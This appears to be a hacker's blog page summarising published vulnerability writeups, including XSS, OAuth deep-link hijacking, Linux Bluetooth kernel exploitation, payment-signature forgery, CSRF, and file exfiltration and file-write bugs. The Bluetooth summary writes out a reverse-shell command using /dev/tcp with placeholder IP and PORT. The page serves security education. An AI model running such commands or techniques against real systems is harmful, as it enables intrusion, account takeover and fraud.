Resources

People often ask me "How did you learn how to hack?" The answer: by reading. This page is a collection of the blog posts and other articles that I have accumulated over the years of my journey. Enjoy!

Rocket.chat is an open source team chat platform. Probably something similar to Slack or Chime.

The chat had a piece of functionality that was looking for links then created an HTML link by adding an anchor tag with a library called AutoLinker. However, rocket.chat also supports markdown that interprets links.

By getting the AutoLinker to parse the link first, then getting the Markdown to parse THIS link, the context of the HTML is messed up. The Markdown library does not expect does already parsed links to be passed in.

By using this bug with a specially crafted link, this can be turned into arbitrary JavaScript via some funky HTML tag usage. The XSS can be used for a complete account takeover. Stored XSS is the worst.

There is no bug with AutoLinker or the Markdown library. However, by using both of them together, it created a serious security issue. This is a super interesting finding and not something that I would have thought of.

Wind Vision is a digital television service in Greece. All digital content is received via IP networks and it aims to be a next generation TV system. Because of this, the phone app is quite popular with over 50K downloads for Android.

What initially caught the researchers eye was the login flow. To login, the application opens a browser tab. If the credentials are correct, the user is logged in and the user would be navigated back to the application using deep links. There is a nice gif of the flow of the site.

A Deep Link is a way to create your own URL scheme in order for an application. There are also App Links which are mostly the same. The main difference is that a deep link can only be opened by the designated app and there is a validation done at installation time to ensure this. Normally, an application wants to restrict who can all this endpoint and wants to restrict who can use the URL.

By double registering a URL handler on a different application, the user MUST chose which one to go to. Because we are good social engineers, they will go to the malicious application.

Now, the authorization flow goes through the OAuth dance. Then, it sends the selected application an auth code. With control over the auth code, this can be turned into an Access Token quite easily! This could have been avoided if the OAuth2 with PKCE was used.

The author made an application to do exactly what we were talking about. Although this requires a malicious application to be downloaded and a bad click on the users part, this is still a really interesting finding! In the future, I will take the android:autoVerify="true" flag on an Android configuration more seriously.

Within Linux, there is a separate sub-system for dealing with bluetooth. The bluetooth chip communicates with the host OSS using the Host Controller Interface protocol.

While manually reviewing the HCI event packet parser, the author noticed that a length check had been removed for the HCI MAX length. From reviewing the path of this code, the usage of this assumes a maximum size validation because of the duplicate path for the regular and extended.

Because of this lack of bounds check into a static buffer (via a memcpy), a buffer overflow occurs. The size change from bluetooth 4.0 to 5.0 of 31 to 255 is the reason for this issue. So, this bug is only found in newer Bluetooth devices.

With this buffer overflow on the heap, we can fully control members of the hci_dev struct. With this, we control something else that contains a function pointer! Great, but now we need a leak. This bug was not used in the complete exploit.

Going through another section of the Bluetooth Linux stack, it is time for another bug! There is a bail out section if the AMP controller is invalid that fills out the id and status of a struct. However, the struct a2mp_info_rsp contains other fields.

Because the other fields are never initialized, 16 bytes of data from the attack can be routinely taken. In order to leak the right data, specific commands need to be sent in order to get data in the proper locations. However, this grooming just required some brute forcing in order to figure out.

While working on the memory leak, the author got a crash in the ERTM component. After tracing the code, the author realized that a type confusion was occurring when pointers were being passed around.

Exploiting the type confusion is tricky! Both objects have lots pointers: we must line these up in such a way that we alter what we want without crashing. This is a powerful primitive though.

The only member that we can reasonably corrupt is the sk->sk_filter pointer. However, the actual object being passed in is ONLY of size 0x70 and the offset is at 0x110. So, do we control this? With our current object, no. However, this looks prime for some heap grooming!

The author goes into how this heap grooming is done; an object of an arbitrary size can be controlled with arbitrary content! However, the details are specific to the sub-system so I will not cover them.

With the setup above, we have an arbitrary read primitive! We have the initial memory leak (uninitialized memory) and now we can dereference an arbitrary pointer that is read back to us. This dereferencing is handy for other things as well.

With control over the sk_filter value being dereferenced, we can control a function pointer! This function pointer has a parameter that we can directly pass into RSI (second) after two dereferences.

With NX, the author explains their exploit strategy. Because we are using the CALL instruction, we must first COP before we can ROP. The trick to this is to find a gadget that can put RSI (which we control) into the stack pointer to control further execution.

To get kernel execution with the new ROP chain, the author uses a known technique to pop a shell. This is done by running /bin/bash -c /bin/bash</dev/tcp/IP/PORT via the run_cmd function in the kernel.

Overall, this is an awesome article from bug discovery to complete compromise. The author was even kind enough to leave a POC for us to look at!

Race conditions are a common bug in multi-thread and multi-process applications that are incredibly hard to track down. Using Thread Sanitizer the Mozilla essentially eliminated a bug class from Firefox! The Clang Thread Sanitizer is a tool that can help detect data races in C/C++ code by adding a significant amount of instrumentation.

Running this tool is no where near enough to figure out what is going on. The tool returns TWO types of races: Benign and Impactful. But, in reality, the classification is not sound. So, the Mozilla team decided to go with a no data race policy in order to have the best security.

At first, this seemed like a very large task. However, most of the fixes were trivial and/or improved code quality. So, this task was taken on by the Mozilla team!

While running through the Thread Sanitizer cases, they found some interesting issues. First, bitfields were a common spot were issues occurred for races and real world bugs. Because the fields are abstracted away and atomic operations are not the default, this bug occurred all over the place. They created an abstract atomic class to make this easier to fix.

An additional cause was code that was expected to be single threaded by was being used in a multi-threaded way. Of course, this yielded many bad bugs, especially in the configuration settings.

They have a mention of a Late-Validated Races. This is essentially a boolean checking for initialization then taking the Mutex if needed. However, if the data is initialized after this check by two different threads, it created undefined behavior. Instead, just write proper atomic code.

Even some Rust code had concurrency issues! The solution to these problems was to make the variables being accessed atomic.

Overall, the Thread Sanitizer looks like an amazing piece of software that can be used to find race conditions. In the future, I'll be using the whole bag of *SAN's to test my software.

Payment processors are an amazing attack surface! What if you could fake a transaction in some way or add money to an account? This is the holy grail of bugs, as it is directly leveraged to make money.

The author was looking for a way to exploit the usage of a payment processor in some application. They were looking for two things: a site that allowed the setting of a status_url and a weak protocol. They settled on the UK based payment provider Skrill because the security relied upon an MD5 hashed structure with only 10 characters as a nonce value.

With the ability to edit the location of the payment processor and the lack of entropy on the random values for the hash, the author cracked the nonce on the MD5 hash with a brute force script that took under 24 hours. With this cracked value, it was NOW possible to create our own signature to send data to the backend.

By having this value ready, we could create our own signed values from the payment provider. The author proceeded to make 25K appear into their gambling account! The dream!

Overall, this is an interesting article how several subtle oversights (and a crappy protocol) led to the arbitrary loading of money.

While sharing a video marked private on Youtube, the author wondered HOW the smart TV could magically play the video. From there, the TV APIs were reversed and exploited.

The model for playing a video that is private works as such:

1. TV checks for a command from polling
2. YouTube API checks to see if the user sent anything. If the user sent something, then return that command.
3. Run the command (returned from the YouTube API) that was given from the user.

The vulnerability is that the user request does NOT have any CSRF protections. So, by creating a fake website we can force the user to send a request to YouTube to bind a request for us for a TV. The author then had a register a minimalist TV for this to work (lolz).

The CSRF request, there was STILL one thing missing though: what private video? It turns out that the request can be used to get a playlist. Because the playlist ID is predictable per user, this allows for ALL private videos to be seen once this vulnerability was found.

Although this attack requires user interaction, this was an awesome bug discovery! I appreciate that harder to test functionality was done here; if it's easy to test, then everyone will test it.

TXT files are considered to be safe to open as they are plain files. Even most anti-virus solutions feel this way. So, getting TXT files to do bad things has massive impact.

On macOS the default text editor is TextEdit. For TXT files, the default is a RTF format instead of TXT, which allows customization's of the formatting. The author noticed that CSS and HTML were allowed.

macOS attempted to prevent any sort of exfiltration via TXT files. However, denylists are hard to implement properly! Any time there is a denylist instead of an allowlist, you have stumbled on good hunting grounds.

By using an iframedoc element, the TXT file can include local files; this appeared to be the only way to do this.

The next trick was to use dangling markup to exfiltrate the data. This was done by adding a style tag to a remote site with the iframedoc in the middle of it. Once the iframedoc loaded, the data would be sent in a URL (or something like that).

Github is the most popular location to store code. With the amount of features that Github offers, there is likely a plethora of bugs waiting to be discovered. On their Bug Bounty page, if you can read the flag of flag.private-org.github.io without user interaction (10K) or 5K with user interaction.

The first issue was a CRLF injection on a URL parameter being added to a cookie. Because newlines could be injected into the cookie value being appended, the HTTP headers could be manually altered. The trick for this was a NULLBYTE encoding in order for the integer to be parsed properly.

Using the bug above, XSS was possible and put onto the private page. Although this is impactful, there is a random nonce value that needs to be known as well.

To bypass the nonce check, the author decided to play. The __Host- prefix cookie flag is a security check that makes sure that cookies cannot be overwritten from different subdomains; this was included on the Nonce.

Because the author had code execution on the one page, they could set the cookies lower down on the subdomain chain. However, this is the exact attack that the __Host- prefix is meant to protect against!

The Github private pages server ignores capitalization and the browser does not! So, it was possible to overwrite the value of this cookie using a different named version of the cookie.

An additional bug was that the caching was done for the pages solely based upon the page id. Because of this, we could poison the response of the cache to perform an XSS whenever this page was viewed, without ever clicking on a link.

Most of these vulnerabilities were subtle issues A) people don't check for and B) do not seem relevant. Amazing writeup!

Apache Druid is a real-time analytic database. Druid is used for data visibility and high concurrency needs. This streams data from applications like Kafka, AWS Kinesis and other tools. It has a rich set of APIs via HTTP and JDBC for loading, managing and querying data.

Druid offers the ability to execute JavaScript at the server without restrictions. Out of an obvious security concern, this is not enabled by default. However, what if this functionality could be tricked into being used?

Druid uses Jackson for parsing JSON data. When adding a decorator to the function name, it signifies that Jackson will call this function when going over the JavaScriptDimFilter object. Within this function, most of the parameters are marked with the JasonProperty modification. This results in the field com.fasterxml.jackson.databind.deser.CreatorProperty being added to the field.

However, not all of them have this setting. Whenever something is created with this setting turned off, the com.fasterxml.jackson.databind.deser.CreatorProperty will be named "". Because an attacker can supply the creator property as "", we can control the settings.

When the parsing of the JavaScript type is done, the 'name' property is resolved to "" (empty string) is the config of the object. By adding in our own empty string, we can inject our own configuration file! With our injected configuration file, we can turn on JavaScript for this call. Boom, popping a shell!

Apple Mail has a feature that will automatically uncompress attachments when sent from another user. This is done via custom SMTP headers specific to Apple Mail.

The author discovered that the path directory information is NOT validated/sanitized when being received by the other user. This is the crux of the vulnerability.

The first zip file contains a symlink named Mail that points to the $HOME/Library/Mail directory. Because of this being a symlink, the tmp folder for the mail is not cleaned up properly.

When the second zip file is uncompressed, files are extracted to the location of this symlink! Because of this, an arbitrary file write vulnerability has been created. Luckily, Apple does keep the application sandboxed.

Using this file write vulnerability, the configuration for the Mail app can be altered. Using this, it was possible to setup mail auto forwards to a malicious mail inbox. There is the potential for RCE from this though.

Overall, this is an awesome bug with huge impact. Symlinks are an important attack vector to consider!